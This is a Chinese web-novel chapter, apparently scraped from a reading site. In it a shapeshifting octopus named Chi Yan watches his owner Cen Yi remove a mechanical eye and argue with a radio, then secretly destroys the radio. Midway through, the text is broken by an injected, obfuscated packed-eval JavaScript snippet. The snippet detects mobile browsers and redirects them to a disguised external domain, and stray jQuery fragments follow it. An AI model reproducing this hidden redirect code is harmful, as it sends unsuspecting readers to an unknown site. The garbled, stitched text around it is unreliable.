池砚是被客厅里传来的,翻找东西的声音惊醒的。
它小心翼翼的将水桶盖子掀开一个角,看到的便是眼前的一幕。岑怿全身上下只穿着一件单薄的衬衫,正跪坐在柜子前,手里一刻不停的寻找着什么。
平日里总是挺得笔直的背脊痛苦地弯了下去,瘦削的肩膀不受控制的发-抖。白皙的双脚被地板冻得通红,发丝被冷汗浸-透,可岑怿明明那么怕冷的人,此时却像是什么也没有感觉到一般,仍在机械性的重复着翻找的过程。
不知过了多久,他在某一个柜子里摸出了一样东西,这才转过了身来。
在看清他的脸时,池砚本能的愣了一下。
岑怿的右眼,在几乎全黑的,毫无光源的环境下散发着微弱的光,琥珀色的同仁微微有些透明,看上去并不像人类的眼球,更像是一颗……被人为镶嵌上去的玻璃珠。
可是人的眼睛怎么会是玻璃珠呢。
池砚隐隐感觉到,岑怿似乎有什么事情没有告诉它。
事实上,即便他们生活在一起,可岑怿从来没有和它讲述过自己的事情。池砚知道别人不主动说的事情,自己不应该毫无边界感的去窥-探,可它还是忍不住从桶里爬了出来,蛄蛹着来到了门边。
岑怿出去的急,卧室门并没有完全关好。池砚轻轻将门推开一条缝隙,刚想仔细看一看岑怿的眼睛是怎么回事,岑怿那边却“啪嗒”一声打开了台灯,暖黄-色的灯光里,透光的眼球又恢复到了平常的样子,就仿佛刚才的一切都只不过是池砚的错觉一般。
一个收音机被从杂物间里拿了出来,放在餐桌上,岑怿给它插上电池,很快里面就传出了声音。
"为什么要那么做……"
客厅里隐隐传出了争吵的声音,然而小章鱼的形态限制了岑怿的精神力,它无法听清岑怿和收音机里的东西究竟说了什么。它不敢变回本体或者化成人形,因为那样目标太大,一定会被岑怿察觉,于是只能用两根触-手死死扒着门板,努力将脑袋贴在门缝上,试图捕捉到有用的信息。
约莫十分钟过后,争吵声停了下来,客厅里重新变得一片安静,秋虫的鸣叫声透过窗户的缝隙漏进房间里。池砚挪动了一下身子,再次看向门外,却见岑怿背对着它坐在地上,不知在想些什么。
过了一会儿,岑怿抬手擦了擦眼角,踉跄着站起了身。他的眼眶有些湿润,眼角一片通红,池砚只感觉心脏仿佛被一只无形的大手揪了一下,一种说不上来的感觉包围了它,让它几乎想要不顾一切的冲出去,像岑怿平日里对待它一样,将他拥入自己怀中。
岑怿没有回到房间,而是转身去了浴室。池砚犹豫了片刻,最终还是钻出了房间,吧嗒吧嗒爬到了走廊上。它顾不上如果被自己发现,会不会让岑怿生气了,就算主人让它再打扫一个星期的店铺,它也可以接受。
小鼻嘎一样的身体爬得很慢,池砚来到卫生间门口时,岑怿正在洗手池边清洗着什么东西。他没有看到门口的池砚,可正当它想要出声时,水声停了。
岑怿撩起有些湿的头发,而透过镜子的反光,池砚发现他漂亮的右眼竟然无力的塌陷了下去,乌黑的睫毛因为疼痛而微不可查的发颤,而他的手里赫然躺着一颗晶莹的机械眼球。
“吧唧——”
池砚脚下一滑,整条鱼狼狈地砸在了地上,身体瞬间摊成了一张饼。岑怿听见了这边的动静,有些茫然的回过头,可就在池砚心中一慌,以为自己就要被发现了时,岑怿的目光却径直略过了他,完好的一只眼睛仿佛没有焦点一般,乌黑的瞳孔一片空洞。
“池砚,被吵醒了吗?”
他转过头,朝卧室的方向轻唤了一声,完全没有发现角落里的池砚。半分钟后,没有听见任何回应的他似乎有些疑惑,不过他也没有怀疑什么,而是将眼球擦干放在洗手台上,自己则回到了卧室。
失去了义眼辅助的岑怿似乎有些无法保持平衡,他摸索着找到了门把手,发现门没有关好后愣了一下,却还是推门进去了。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15679696|173232||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
床架发出了“吱呀”一声,岑怿裹紧了被子,呼吸渐渐变得平稳了起来。
池砚不敢立刻回去,而是等了一小会儿,随后,他屏息凝神,眼底金光闪烁,重新变回了人类的形态。
看着地板上自己触-手爬过留下的水痕,池砚爬岑怿等会儿要是再出来会滑倒,于是找来了清洁用具,将客厅和走廊全部恢复成了原样,顺便把岑怿刚才失手打碎的几个玻璃杯扫进了垃圾桶。
笨拙的用扫帚将玻璃碴扫进簸箕时,池砚想到了自己刚变成人形的那天。
打碎了岑怿的茶杯后,他本想直接用手去捡,可岑怿却一把拉住他,非但没有责怪他闯了祸,还亲自帮他收拾了狼藉。
想到这里,池砚手上的动作愈发卖力,很快就将整个家里都收拾了一遍。变回人形后他对于外界的感知恢复到了正常的水准,即便不开灯也能将周围的环境看得一清二楚,于是他就这么默默地在黑暗中,抹去了这个晚上一切的痕迹。
将扫帚和拖把放回杂物间后,池砚转过头,目光落在了那个收音机上。
被放在餐桌上的收音机原本正规律的闪烁着红光,却在他看过来的一瞬间瞬间熄灭。仿佛,像是要刻意避免吸引他的注意力一般。
池砚的神情冷了下来,平日里憨厚乖巧的模样荡然无存,取而代之的是一种令人陌生的冰冷。
他面无表情的接了一杯水,缓缓地,毫不留情地一点点淋在了收音机上,就连连接着插座的电线也没有放过。
听着收音机内部的零件一寸寸被损坏,发出轻微的滋滋声,池砚轻轻地笑了,他取来毛巾,正要将表面的水渍擦拭干净,防止被岑怿抓包,却忽然被人从身后擒住了手腕。
“池砚,你在做什么?”
岑怿乌黑的眉头紧紧蹙着,握着池砚的手微微用力,一根根掰开了池砚攥着收音机的指节。他迅速拔掉了电源,确保没有其他漏电的可能后,这才重新看向池砚,他神情严肃,脸上也没有了平日里的温柔和笑意。